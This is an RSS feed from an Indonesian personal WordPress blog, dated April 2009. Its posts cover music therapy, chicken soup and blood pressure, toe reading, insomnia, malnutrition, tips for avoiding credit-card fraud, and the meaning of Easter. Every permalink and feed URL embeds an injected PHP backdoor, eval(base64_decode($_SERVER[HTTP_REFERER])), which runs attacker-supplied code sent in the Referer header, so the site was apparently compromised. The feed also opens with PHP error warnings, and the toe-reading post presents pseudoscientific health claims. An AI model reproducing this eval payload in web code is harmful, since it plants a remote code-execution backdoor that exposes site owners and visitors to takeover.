Deprecated: Assigning the return value of new by reference is deprecated in /home/davidmnr/public_html/blog/wp-settings.php on line 520

Deprecated: Assigning the return value of new by reference is deprecated in /home/davidmnr/public_html/blog/wp-settings.php on line 535

Deprecated: Assigning the return value of new by reference is deprecated in /home/davidmnr/public_html/blog/wp-settings.php on line 542

Deprecated: Assigning the return value of new by reference is deprecated in /home/davidmnr/public_html/blog/wp-settings.php on line 578

Deprecated: Function set_magic_quotes_runtime() is deprecated in /home/davidmnr/public_html/blog/wp-settings.php on line 18

Warning: Cannot modify header information - headers already sent by (output started at /home/davidmnr/public_html/blog/wp-settings.php:520) in /home/davidmnr/public_html/blog/wp-content/plugins/wassup/wassup.php on line 1434

Warning: Cannot modify header information - headers already sent by (output started at /home/davidmnr/public_html/blog/wp-settings.php:520) in /home/davidmnr/public_html/blog/wp-includes/feed-rss2.php on line 8
MY PERSONAL BLOG http://www.davidmanurung.com/blog Just To Share Ideas and Thoughts Wed, 15 Apr 2009 07:21:48 +0000 http://wordpress.org/?v=2.7.1 en hourly 1 Musik Dapat Menurunkan Tingkat Stres http://www.davidmanurung.com/blog/2009/04/15/musik-dapat-menurunkan-tingkat-stres/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/04/15/musik-dapat-menurunkan-tingkat-stres/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Apr 2009 07:19:41 +0000 david manurung http://www.davidmanurung.com/blog/?p=1373 Sementara sebagian besar lainnya mendengarkan musik dari hasil rekaman atau CD yang ditangani oleh ahli kesehatan. Namun perlu juga diperhatikan bahwa terapi mendengarkan musik harus dibawah pengawasan ahli, karena jika salah dalam diagnosa atau memberikan treatment, bisa-bisa kondisi pasien malah memburuk.

Musik Dapat Menurunkan Tingkat Stres

WASHINGTON - Tidak salah memang jika seseorang sedang merasa gundah, mereka biasanya mencoba menyeimbangkan keadaan emosi dengan cara mendengarkan musik. Nyatanya mendengarkan musik bisa mengembalikan mood seseorang serta membuat hati yang ruwet menjadi gembira.

Hal itu rupanya yang menjadi pertimbangan para ahli untuk mempergunakan musik sebagai bagian dari terapi pengobatan para penderita Coronary Heart Disease (CHD) atau penyakit serangan jantung.

Dalam terapi ini, musik dipergunakan untuk menurunkan tingkat stres dan kecemasan pada pasien. Menurut hasil Cochrane Systematic Review, mendengarkan musik dapat menurunkan tekanan darah, kecepatan denyut jantung serta tingkat kecemasan pada jantung pasien.

Para ahli menganalisa data dari hasil 23 penelitian yang menyurvei 1.461 pasien penderita penyakit serangan jantung. Dua penelitian di antaranya fokus menganalisa para pasien yang diobati oleh ahli terapi musik.

Sementara sebagian besar lainnya mendengarkan musik dari hasil rekaman atau CD yang ditangani oleh ahli kesehatan. Namun perlu juga diperhatikan bahwa terapi mendengarkan musik harus dibawah pengawasan ahli, karena jika salah dalam diagnosa atau memberikan treatment, bisa-bisa kondisi pasien malah memburuk.

“Kami telah membuktikan bahwa mendengarkan musik sangat bermanfaat untuk membantu penyembuhan pasien penderita penyakit serangan jantung,” Joke Bradt, tim ahli dari Temple University, Philadelphia,, seperti dikutip melalui TOI, Minggu (12/4/2009).

Stres yang dialami seseorang dapat menyebabkan meningkatnya tekanan darah, hal ini akan mendatangkan resiko terjadinya komplikasi. Dengan mendengarkan musik resiko ini dapat dikurangi. Pasalnya, dengan menurunnya tekanan darah akan berdampak pula meringankan tingkat stres. (srn)

]]>
http://www.davidmanurung.com/blog/2009/04/15/musik-dapat-menurunkan-tingkat-stres/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Sup Ayam Kurangi Resiko Tekanan Darah Tinggi http://www.davidmanurung.com/blog/2009/04/15/sup-ayam-kurangi-resiko-tekanan-darah-tinggi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/04/15/sup-ayam-kurangi-resiko-tekanan-darah-tinggi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Apr 2009 07:11:05 +0000 david manurung http://www.davidmanurung.com/blog/?p=1370 Dalam penelitian ini Saiga dan timnya mengekstraksi kolagen dari kaki ayam kemudian menguji kemampuannya sebagai penghambat ACE. Pada percobaan di lab tersebut, mereka mengidentifikasi empat protein berbeda yang terdapat pada campuran kolagen tersebut dengan aktifitas tinggi penghambat ACE.

Sup Ayam Kurangi Resiko Tekanan Darah Tinggi

WASHINGTON - Aroma sup ayam yang nikmat tentunya mampu menggugah selera para penggemar sup. Apalagi jika sup tersebut disantap dalam keadaan hangat. Tahukah Anda? selain nikmat, sup ayam pun memiliki khasiat tersendiri bagi kesehatan.

Dilansir melalui Times of India, Minggu (12/4/2009), peneliti Jepang Ai Saiga dan koleganya menemukan keutamaan ini pada makanan tradisional kaum Yahudi yaitu Matzoh Soup, semangkok sup khas dengan bakso ayam yang dikeringkan. Konon, sup ini berkhasiat menurunkan tekanan darah.

Hal ini senada dengan penelitian sebelumnya. Pada studi terdahulu, ilmuwan Jepang menemukan bahwa dada ayam mengandung banyak protein kolagen yang memiliki efek sama dengan penghambat ACE sehingga dapat digunakan dalam mengobati tekanan darah tinggi.

Namun begitu, sejumlah kecil protein dalam dada ayam tidak dapat dikembangkan dalam produk makanan dan obat-obatan untuk mengobati penyakit ini. Sementara itu, kaki dan ceker ayam yang biasanya tidak terpakai dalam masakan ternyata juga memiliki khasiat yang sama jika diolah dalam bentuk sup.

Dalam penelitian ini Saiga dan timnya mengekstraksi kolagen dari kaki ayam kemudian menguji kemampuannya sebagai penghambat ACE. Pada percobaan di lab tersebut, mereka mengidentifikasi empat protein berbeda yang terdapat pada campuran kolagen tersebut dengan aktifitas tinggi penghambat ACE.

Nyatanya, protein tersebut menghasilkan efek untuk mengurangi tekanan darah tinggi secara signifikan dan terus menerus. (srn)

]]>
http://www.davidmanurung.com/blog/2009/04/15/sup-ayam-kurangi-resiko-tekanan-darah-tinggi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Jari Kaki Dapat Meramalkan Kesehatan Anda http://www.davidmanurung.com/blog/2009/04/15/jari-kaki-dapat-meramalkan-kesehatan-anda/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/04/15/jari-kaki-dapat-meramalkan-kesehatan-anda/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Apr 2009 07:08:46 +0000 david manurung http://www.davidmanurung.com/blog/?p=1367 “Faktanya, ketika Anda merasakan emosi yang kuat, seluruh tubuh memperlihatkan keadaan itu. Contohnya ketika tensi darah naik, hal ini akan terasa pada kepala, leher dan perut. Keadaan ini pun dapat terlihat melalui jari kaki. Tahukah Anda, bahwa sebenarnya ketika Anda merasa malu, bagian leher jempol kaki Anda memerah?,” kata Sheehan.

Jari Kaki Dapat Meramalkan Kesehatan Anda

LONDON - Sebagian besar orang sudah banyak yang tahu metode membaca garis tangan untuk meramal kehidupan seseorang. Namun mungkin belum banyak yang tahu bahwa jari kaki pun bisa menjadi media untuk meramal, tapi metode ini lebih ditujukan untuk kepentingan dunia kesehatan.

“Saya tidak bisa memberitahukan tentang masa depan. Saya hanya bisa memberitahukan keadaan di masa lampau dan masa sekarang. Namun yang jelas, segala hal tentang Anda dapat diungkap melalui jari-jari kaki,” ujar Jane Sheehan seperti yang dilansir dari Telegraph, Selasa (14/4/2009).

Menurutnya, jari kaki tidak sekedar mengungkap kebiasaan mencat kuku dan lain sebagainya, namun juga memberitahukan apakah seseorang dalam suasana hati yang sedang sedih atau gembira.

“Ketika seseorang mengalami depresi, mereka memusatkan berat beban tubuh pada ujung jari kaki pada saat berjalan, sehingga kulit pada bantalan jari kaki akan menghitam karenanya,” ujar Sheehan.

Pengujian lain pun dibandingkan dengan warna kulit pada pergelangan kaki atas. Jika warnanya terlihat lebih pucat, hal ini mengindikasikan keletihan dan sirkulasi darah yang tidak lancar. Sementara itu, warna kekuningan menandakan seseorang sedang dalam keadaan jemu, dan kapalan pada bagian bawah jari mengindikasikan bahwa seseorang menanggung banyak beban tanggung jawab.

“Faktanya, ketika Anda merasakan emosi yang kuat, seluruh tubuh memperlihatkan keadaan itu. Contohnya ketika tensi darah naik, hal ini akan terasa pada kepala, leher dan perut. Keadaan ini pun dapat terlihat melalui jari kaki. Tahukah Anda, bahwa sebenarnya ketika Anda merasa malu, bagian leher jempol kaki Anda memerah?,” kata Sheehan.

Sheehan pun menambahkan bahwa jari kedua pada kaki kanan menggambarkan apa yang ingin seseorang capai dalam hidupnya.

“Jika seseorang berhasil mencapainya, ujung jari akan terlihat menyentuh lantai. Namun jika sebaliknya, yang terjadi adalah di antara jari kedua dan ketiga pada kaki kanan terdapat jarak yang cukup renggang yang mengindikasikan bahwa Anda berusaha memisahkan diri dari emosi yang Anda rasakan,” pungkasnya. (srn)

]]>
http://www.davidmanurung.com/blog/2009/04/15/jari-kaki-dapat-meramalkan-kesehatan-anda/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Insomnia Menggugah Rasa Lapar http://www.davidmanurung.com/blog/2009/04/15/insomnia-menggugah-rasa-lapar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/04/15/insomnia-menggugah-rasa-lapar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Apr 2009 07:06:50 +0000 david manurung http://www.davidmanurung.com/blog/?p=1364 Motivala dan koleganya meneliti 14 pria dengan insomnia kronik dan 24 pria sehat untuk menghabiskan dua malam tidur di laboratorium. Para peneliti menggunakan kateter untuk mengambil contoh darah secara periodik saat mereka tertidur. Contoh darah tersebut untuk mengukur tingkat fluktuasi hormon leptin dan ghrelin.

Insomnia Menggugah Rasa Lapar

INSOMNIA atau gangguan tidur memang sangat mengganggu kenyamanan hidup. Namun, lebih dari itu, insomnia pun berisiko tinggi terhadap obesitas, diabetes, dan penyakit jantung.

Sebuah penelitian coba menemukan hubungan antara sedikit tidur dengan obesitas dan berbagai masalah kesehatan lain. Dan kini, penelitian tersebut akan memaparkan alasan mengapa ada hubungan di antara keduanya. Demikian dilansir Health24 dari Reuters Health pada April 2009.

Sejumlah penelitian dalam beberapa tahun terakhir telah mempersoalkan peran tidur terhadap kesehatan secara menyeluruh. Penelitian menghubungkan sedikit tidur -apakah karena punya gangguan tidur atau karena jam kerja- dengan risiko lebih tinggi terhadap obesitas, diabetes, dan penyakit jantung.

“Kami meneliti bagaimana hormon-hormon yang kami pikir secara spesifik berhubungan dengan metabolisme energi dan nafsu makan dapat berdampak pada gangguan tidur. Kajian ini menjelaskan mengapa sebagian pasien insomnia mengalami kenaikan berat badan,” jelas pimpinan kajian Dr Sarosh J Motivala dari the University of California Los Angeles.

Motivala dan koleganya meneliti 14 pria dengan insomnia kronik dan 24 pria sehat untuk menghabiskan dua malam tidur di laboratorium. Para peneliti menggunakan kateter untuk mengambil contoh darah secara periodik saat mereka tertidur. Contoh darah tersebut untuk mengukur tingkat fluktuasi hormon leptin dan ghrelin.

Hasilnya, 30 persen di antara pria yang memiliki gangguan tidur, tingkat hormon ghrelin dan leptinnya lebih rendah saat jam tidur malam hari, tapi meningkat di waktu lain sepanjang hari.

Perlu diketahui, hormon leptin adalah hormon yang mengontrol jumlah makanan yang kita konsumsi, berat badan, serta nafsu makan. Sementara hormon ghrelin adalah hormon yang menggugah rasa lapar dan memacu lapar mata.

Penurunan hormon leptin dan ghrelin dapat mendorong nafsu makan. Jadi, saat malam hari tingkat hormon tersebut menurun, tapi siang hari meningkat. Mereka akan mengompensasikan nafsu makannya pada siang hari. Sayangnya, mereka cenderung mengonsumsi makanan tinggi kalori yang berisiko besar pada diabetes, penyakit jantung, dan obesitas.

Motivala mengatakan, dia dan kolegenya akan melakukan penelitian serupa pada wanita dengan insomnia.

(tty)

]]>
http://www.davidmanurung.com/blog/2009/04/15/insomnia-menggugah-rasa-lapar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Waspadai Malnutrisi akibat Salah Konsumsi http://www.davidmanurung.com/blog/2009/04/15/waspadai-malanutrisi-akibat-salah-konsumsi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/04/15/waspadai-malanutrisi-akibat-salah-konsumsi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Apr 2009 07:02:40 +0000 david manurung http://www.davidmanurung.com/blog/?p=1359 Umumnya, malanutrisi yang diakibatkan adanya kekurangan gizi lebih banyak terjadi pada masyarakat kecil, dan sebaliknya, kelebihan gizi lebih banyak terjadi pada masyarakat kelas atas. Dan kembali lagi kepada asupan konsumsi dan pola asuh dari orangtua karena tingkat konsumsi ini dipengaruhi orangtua.

Waspadai Malnutrisi akibat Salah Konsumsi

MALANUTRISI atau diet yang tidak tepat menjadi masalah yang banyak ditemui di Indonesia. Penderitanya adalah masyarakat dengan tingkat ekonomi bawah hingga atas.

Guru Besar Ilmu Pangan dan Gizi, Jurusan Gizi Masyarakat dan Sumber Daya Keluarga, Institut Pertanian Bogor (IPB) Prof Dr Ir Ali Khomsan MS mengatakan, banyaknya persepi salah yang menyebutkan bahwa malanutrisi itu adalah kekurangan gizi saja dan hanya terjadi pada masyarakat menengah ke bawah.

“Persepsi yang menyatakan malanutrisi itu hanya mencangkup kekurangan gizi merupakan pernyataan yang salah,” ujar Ali saat menghadiri acara media workshop yang diadakan Nestle Indonesia dengan tema “Mewujudkan Masyarakat Indonesia yang Lebih Sehat” di Hotel Kristal, beberapa waktu lalu.

Ali menjelaskan, malanutrsi itu sebenarnya mempunyai pengertian yang luas, yaitu mencakup kekurangan gizi, gizi buruk, maupun kelebihan gizi. Penyebabnya adalah penyakit dan salah mengonsumsi.

“Malanutrisi terjadi karena adanya kebutuhan tubuh akan makronutrien (lemak, karbohidrat dan protein) tidak terpenuhi yang diakibatkan salah konsumsi,” kata Ali yang mengenyam pendidikan S-1 dan S-2 di Institut Pertanian Bogor (IPB).

Seorang akan mengalami malanutrisi jika tidak mengonsumsi jumlah atau kualitas nutrien yang mencukupi untuk diet selama jangka waktu lama. Malanutrisi yang berlangsung lama dapat mengakibatkan kelaparan, penyakit, dan infeksi.

“Tidak hanya masyarakat menengah ke bawah saja yang mengalami malanutrisi ini, masyarakat dengan penghasilan tinggi pun bisa mengalaminya,” sebut Ali.

Umumnya, malanutrisi yang diakibatkan adanya kekurangan gizi lebih banyak terjadi pada masyarakat kecil, dan sebaliknya, kelebihan gizi lebih banyak terjadi pada masyarakat kelas atas. Dan kembali lagi kepada asupan konsumsi dan pola asuh dari orangtua karena tingkat konsumsi ini dipengaruhi orangtua.

Biasanya, Ali menyebutkan, malanutrisi ini terjadi pada anak-anak. Karena, mereka sedang berada pada masa pertumbuhan, anak-anak banyak yang mengalami problema susah makan. Memilih-milih makanan, makan yang hanya dikemut-kemut, atau bahkan tidak mau makan sama sekali.

“Pola asuh makan sangat berperan. Jadi walaupun orangtua mampu mencukupi kebutuhan gizi, tetapi jika tidak bisa memengaruhi nafsu makan anak,ya percuma saja,” papar Ali yang mengambil pendidikan S-3 di Iowa State University pada 1991.

Problem kegemukan atau obesitas masih menjadi momok bagi masyarakat dalam memengaruhi timbulnya berbagai penyakit apabila tidak segera diatasi. Ali menuturkan, kegemukan pada anak akan berkelanjutan, terutama bila disertai dengan penyakit penyerta yang akan membawa dampak sosial psikologis. Namun, tidak dibawa sampai dewasa apabila aktivitas fisik di saat remaja tinggi.

Sementara itu, Kepala Subdirektorat Gizi Makro Direktorat Bina Gizi Masyarakat Departemen Kesehatan Dr Minarto MPS mengatakan, terjadinya malanutrisi bisa terjadi pada siapa saja terkait dengan pola makan. “Malanutrisi ini terjadi karena kekurangan dan kelebihan gizi,” ucap ahli gizi ini.

Data Riskesdas menyebutkan, malanutrisi untuk gizi kurang pada kelompok termiskin terjadi sebanyak 22,1 persen dan untuk kelompok terkaya terjadi sebanyak 13,7 persen. Untuk angka malanutrisi karena kelebihan gizi pada kelompok termiskin terjadi sebanyak 11,2 persen dan untuk kelompok terkaya adalah 14 persen.

“Dari data tersebut terlihat bahwa malanutrisi ini bisa berdampak kepada siapa saja tanpa pandang kemampuan atau penghasilan. Faktor ekonomi memang berpengaruh, tetapi tidak mutlak,” ucap Minarto.

(Koran SI/Koran SI/tty)

]]>
http://www.davidmanurung.com/blog/2009/04/15/waspadai-malanutrisi-akibat-salah-konsumsi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Menghindari Kejahatan Carding http://www.davidmanurung.com/blog/2009/04/15/menghindari-kejahatan-carding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/04/15/menghindari-kejahatan-carding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 15 Apr 2009 07:00:19 +0000 david manurung http://www.davidmanurung.com/blog/?p=1356 Pencurian data ini bisa dilakukan oleh seseorang dengan cara melakukan hacking maupun dilakukan oleh karyawan yang menangani EDC suatu toko atau di perusahaan itu sendiri. Hal ini juga berpeluang terjadinya pengandaan kartu kredit. Disini bisa terjadi akibat lemahnya keamanan yang bisa ditembus dengan berbagai teknik hacking semacam SQL Injection.

Menghindari Kejahatan Carding

JAKARTA - Kejahatan carding bisa dilakukan kapan saja dan di mana saja. Banyak faktor yang menyebabkan seseorang menjadi korban kejahatan tersebut. Anggota komunitas Hacker Yogyafree, Nathan Gusti Ryan mengungkapkan kejahatan carding bisa terjadi karena keteledoran pemilik kartu kredit itu sendiri, aksi pencurian kartu kredit seperti dicopet atau juga bisa mengunakan kartu kredit orang lain karena menemukannya secara tidak sengaja.


Sedangkan secara Online, Carding bisa disebabkan keteledoran lemahnya security ssstem pengelola layanan online shopping dan pemilik Electronic Data Capture (EDC). Carding juga bisa dilakukan dengan cara mencuri data dari suatu database yang berisi daftar kartu kredit dan data pemilik lalu mengunakannya untuk belanja online atau melakukan transaksi online shopping.

Pencurian data ini bisa dilakukan oleh seseorang dengan cara melakukan hacking maupun dilakukan oleh karyawan yang menangani EDC suatu toko atau di perusahaan itu sendiri. Hal ini juga berpeluang terjadinya pengandaan kartu kredit. Disini bisa terjadi akibat lemahnya keamanan yang bisa ditembus dengan berbagai teknik hacking semacam SQL Injection.

Untuk mencegah kejahatan Carding, Nathan membagi Tips agar anda tak menjadi korban kejahatan tersebut. Ada beberapa cara untuk mencegahnya mulai dari fisik hingga online. Secara Fisik mungkin anda bisa melakukan hal-hal seperti di bawah ini:

1. Anda harus memastikan kartu kredit yang anda miliki tersimpan pada tempat yang aman.

2. Jika kehilangan kartu kredit dan kartu identitas kita, segeralah lapor ke pihak berwajib dan segera lakukan pemblokiran pada saat itu juga.

3. Jangan tunggu waktu hingga anda kebobolan karena digunakan oleh orang lain ( baik untuk belanja secara fisik maupun secara online ).

4. Pastikan jika Anda melakukan fotocopy kartu kredit dan kartu identitas tidak sampai digandakan oleh petugas atau pegawai fotocopy.

5. Jangan asal atau sembarang menyuruh orang lain untuk memfotocopykan kartu kredit dan kartu identitas.

Secara Online, Anda dapat memperhatikan hal berikut:

1. Belanja di tempat yang aman, jangan asal belanja tapi tdk jelas pengelolanya atau mungkin anda baru pertama mengenalnya sehingga kredibilitasnya masih meragukan.

2. Pastikan pengelola Web mengunakan SSL ( Secure Sockets Layer ) yang ditandai dengan HTTPS pada Web Login Transaksi online.

3. Jangan sembarangan menyimpan FILE SCAN kartu kredit Anda sembarangan, termasuk menyimpannya dalam email.

(srn)

]]>
http://www.davidmanurung.com/blog/2009/04/15/menghindari-kejahatan-carding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Definisi Paskah - Paskah 1 http://www.davidmanurung.com/blog/2009/03/30/definisi-paskah-paskah-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/03/30/definisi-paskah-paskah-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 30 Mar 2009 07:45:57 +0000 david manurung http://www.davidmanurung.com/blog/?p=1353 Tanggal Paskah yang tepat pernah menjadi pokok perdebatan. Di dalam Konsili Nicaea I pada 325 diputuskan bahwa seluruh umat Kristen akan merayakan Paskah pada hari yang sama, yang akan dihitung secara berbeda dari perhitungan umat Yahudi untuk menentukan tanggal Paskah Yahudi. Karena tidak adanya catatan keputusan konsili yang selamat hingga jaman modern, ada kemungkinan bahwa konsili tersebut tidak memutuskan cara tertentu untuk menghitung tanggal Paskah.

Definisi Paskah

Definisi Paskah (diambil dari situs Sabda Alkitab), antara lain dari Kamus Gering, Kamus Alkitab dan Kamus Haag

Kamus Gering:

Pesta pertama dari ketiga pesta tahunan yang terbesar dari orang Ibrani, dirayakan dalam bulan Nisan dari tanggal 14 sampai 21. Sebagai peringatan tentang peristiwa malaikat maut ketika melalui rumah-rumah Israel hendak membunuh semua yang sulung di tanah Mesir (baik binatang maupun manusia), sebelum bangsa Israel keluar dari tanah Mesir. Keluaran 12:1-51; 13:13-10; 23:14-19; Imamat 23:4-14. Disebut juga “pesta roti tak beragi”. Domba Paskah disembelih sebagai membayangkan Kristus dan kesengsaraan-Nya. Paskah orang Kristen ialah Perjamuan Suci.

Kamus Kecil Alkitab:

Terjemahan Baru:

Perayaan pembebasan bangsa Israel dari Mesir. Anak-anak sulung orang Mesir dibunuh, tetapi pintu-pintu rumah orang Ibrani “dilewati” (Ibrani P`esah berarti: melewati). Peristiwa itu diperingati dengan mengadakan perjamuan Paskah di mana para peserta “makan Paskah” yaitu makan “korban Paskah” atau anak domba Paskah itu (Kel 12:23-28, Kel 12:43-51). Dalam Perjanjian Baru Yesus Kristus disebut “anak domba Paskah” (1Kor 5:7) atau “Anak Domba yang disembelih” (Wahy 5:6). Untuk Jemaat Purba hari Paskah mendapat isi baru, yaitu perayaan kebangkitan Tuhan.

Bahasa Indonesia Sehari-hari:

Hari perayaan peringatan pembebasan bangsa Ibrani dari perbudakan di Mesir. Pada hari itu malaikat kematian masuk rumah-rumah orang Mesir dan membunuh semua anak-anak sulung mereka, tetapi rumah-rumah orang Ibrani dilewati (Kel 12:23-27). Dalam bahasa Ibrani “Pesah” berarti “melewati”. Hari raya ini jatuh pada tanggal 14 bulan Nisan, yaitu tanggal yang berdekatan dengan tanggal 1 April. Untuk jemaat Kristen yang mula-mula dalam Perjanjian Baru, hari Paskah ini mendapat isi baru, yaitu perayaan hidupnya kembali Tuhan Yesus dari kematian.

Kamus Haag:

1. Bahasa Ibrani: pesakh

2. Bahasa Aram: Pasgha

3. Bahasa Yunani: Paskha

Arti dasarnya: meloncat. Dari situ timbul arti: meloncat di dalam kebaktian, menari, dan (dalam arti kiasan) Kel 12:13,23,27; Yes 31:5; melewati/menyayangkan.

1. Di Dalam PL. Naskah Alkitab yang tertua membangkitkan kesan, bahwa ritus Paskah sudah dilakukan sejak zaman –> Musa oleh suku bangsa Isr. (Kel 3:18; 8:21-24; 10:7-11,24,26 dan lain-lain). Penyelidikan ilmiah menemukan awal Paskah sebagai pesta musim semi dari para pengembara. Di dalam pesta itu mereka kurbankan dari kawanan ternak mereka (: kini masih dipertentangkan, apakah disitu dipersembahkan kurban –> hasil pertama). Darah binatang kurban dioleskan pada tiang pintu. Dagingnya dijadikan kurban selamatan bersama keluarga dan dimakan bersama roti yang tidak diberi ragi. Dari binatang kurban tidak ada tulang yang boleh dipatahkan (suatu pengertian apotropeis).

Israel melangsungkan ritus itu, apabila mereka hubungkan pesta para pengembara dengan saat –> keluaran dari Mesir dengan menjadikannya peringatan karya keselamatan Yahwe. Perubahan pengertian pada arti sejarah keselamatan jelas-jelas dapat dinyatakan legitim (Kel 12:14,23,27,31). Meskipun undang-undang Kel 12:1-14 termasuk golongan tahap tradisi termuda dari Paskah (tradisi Imamat), tetapi di situ jelas tetap tersimpan ritus ibadat dalam bentuknya yang tertua: Bulan pertama dalam musim semi menurut kebiasaan para pengembara dianggap sebagai awal tahun (–> tanggalan).

Pesta itu dirayakan sebagai pesta keluarga. Di situ tidak dibicarakan tentang imam-jabatan. Setelah bangsa Isr. menetap hidupnya, mereka gabungkan minggu pesta roti tanpa ragi (–> Mazzot) pada malam Paskah. Tambahan ini berlawanan dengan Paskah para pengembara, sebab menyangkut sebuah pesta musim dari para petani (: perkembangan pesta itu bdk.: Kel 12:21-23 dengan Ul 16:1-8). Pada pemberian undang-undang menurut tradisi deuteronomis hilanglah sifat-sifat keluarga dan pengembara itu, sebab perayaan itu harus dilakukan di kenisah.

Di samping ternak kecil yang sampai detik itu merupakan satu-satunya binatang kurban yang diijinkan, kini diijinkan pula ternak besar. Perubahan itu nampaknya tidak berlangsung selamanya (Kel 12:1-14; Im 23:5-8; kebiasaan di Elefantin). Pada zaman setelah pembuangan orang merayakan Paskah dalam bentuk, di mana digabungkanlah undang-undang imamat dengan undang-undang Ulangan: Penyembelihan binatang kurban dilakukan di kenisah, diikuti selamatan kudus di kalangan keluarga atau di tengah kelompok hariannya, seperti yang dilakukan Yesus bersama para muridNya. Sejak hancurnya kenisah (70 sesudah Mas.), ritus para pengembara hanya dilakukan oleh orang-orang (–>) Samaria pada gunung Gerizim. Perjamuan selamatan pada bangsa Yahudi berubah bentuk dan mempunyai corak sebuah pesta makan Yunani atau Romawi: Pada saat makan daging domba, orang minum anggur (4 piala) dan orang makan rempah-rempah, buah rebus dan roti tanpa ragi.

Di tengah-tengah perjamuan makan dibacakan cerita Keluaran dan orang menyanyikan –> Hallel. Pada setiap perayaan itu setiap orang “dalam setiap zaman diwajibkan menangkap dirinya sedemikian rupa, seolah-olah ia sendiri pergi keluar dari Mesir” (Imamat 10:5), artinya: Karya keselamatan Tuhan di waktu lampau dihadirkan kembali di dalam Paskah dengan dihubungkan pada suatu harapan eskatologis. Dengan demikian perayaan Paskah mempunyai sifat sakramentil.

2. Di Kumran. Dari tanggalan pesta mereka, sudah jelas bahwa jemaat Kumran merayakan Paskah. Adapun tanggalan tersebut tidak cocok dengan tanggalan yang berlaku di kenisah Yerusalem dan jemaat Kumran menghindari setiap kontrak dengan kenisah, sehingga perayaan Paskah pasti tidak dimulai dengan penyembelihan domba Paskah menurut ritus resmi, melainkan digantikan dengan perjamuan selamatan kudus lainnya.

3. Di Dalam PB. Bagi tradisi sinoptik, Ekaristi adalah Paskah dalam PB, sebab perjamuan perpisahan Yesus dengan para muridNya (Mark 14:12-16 dsj.) ditangkap sebagai perjamuan Paskah. Sebaliknya bagi Paulus dan Yohanes Paskah PL dipenuhi di dalam wafat Yesus di salib (1Kor 5:7; Yoh 19:14,30-31 [Yesus wafat pada saat di Kenisah domba-domba Paskah disembelih] 36). Tradisi kedua ini berlangsung terus di dalam Gereja: Nama Paskah adalah untuk perayaan Paskah sebagai peringatan wafat Yesus dan kebangkitan-Nya. Tetapi, karena peringatan ini dilakukan secara sakramentil di dalam ekaristi, maka dengan syah ekaristi dapat dikatakan menjadi perjamuan Paskah dalam PB. –> Perjamuan Malam.

Perhitungan Tanggal Paskah

Paskah (dan perayaan lain yang berhubungan) yang merupakan hari terpenting dalam kalender gerejawi disebut sebagai perayaan yang berpindah, yang berarti perayaannya tidak terpaku pada tanggal tertentu di dalam kalender Gregorian maupun Julian (yang sama-sama mengikuti perputaran matahari dan keempat musim) melainkan dihitung menurut kalender suryacandra seperti kalender Ibrani. Hal inilah yang mendasari ilmuwan-ilmuwan mempelajari astronomi secara sistematis.

Di dalam kalender Gregorian, Paskah selalu jatuh pada hari Minggu antara 22 Maret dan 25 April (inklusif). Hari berikutnya, Senin Paskah, merupakan hari libur di banyak negara dengan tradisi Kristen yang kuat. Untuk negara-negara yang mengikuti kalender Julian untuk perayaan-perayaan keagamaan, Paskah juga jatuh pada hari Minggu antara 22 Maret (KJ) dan 25 April (KJ), yang dalam kalender Gregorian adalah 4 April-8 Mei (inklusif).

Tanggal Paskah yang tepat pernah menjadi pokok perdebatan. Di dalam Konsili Nicaea I pada 325 diputuskan bahwa seluruh umat Kristen akan merayakan Paskah pada hari yang sama, yang akan dihitung secara berbeda dari perhitungan umat Yahudi untuk menentukan tanggal Paskah Yahudi. Karena tidak adanya catatan keputusan konsili yang selamat hingga jaman modern, ada kemungkinan bahwa konsili tersebut tidak memutuskan cara tertentu untuk menghitung tanggal Paskah. Epifanius dari Salamis menulis pada pertengahan abad ke-4:

…kaisar…menghimpun dewan dengan 318 uskup…di kota Nicea…Dalam konsili tersebut mereka juga menyetujui suatu kanon gerejawi, dan pada saat yang bersamaan menitahkan berkenaan dengan Paskah (Yahudi) bahwa diperlukan adanya satu permufakatan tentang perayaan hari Tuhan yang suci dan teramat penting tersebut. Karena hal tersebut diperingati secara berbeda-beda oleh orang-orang…

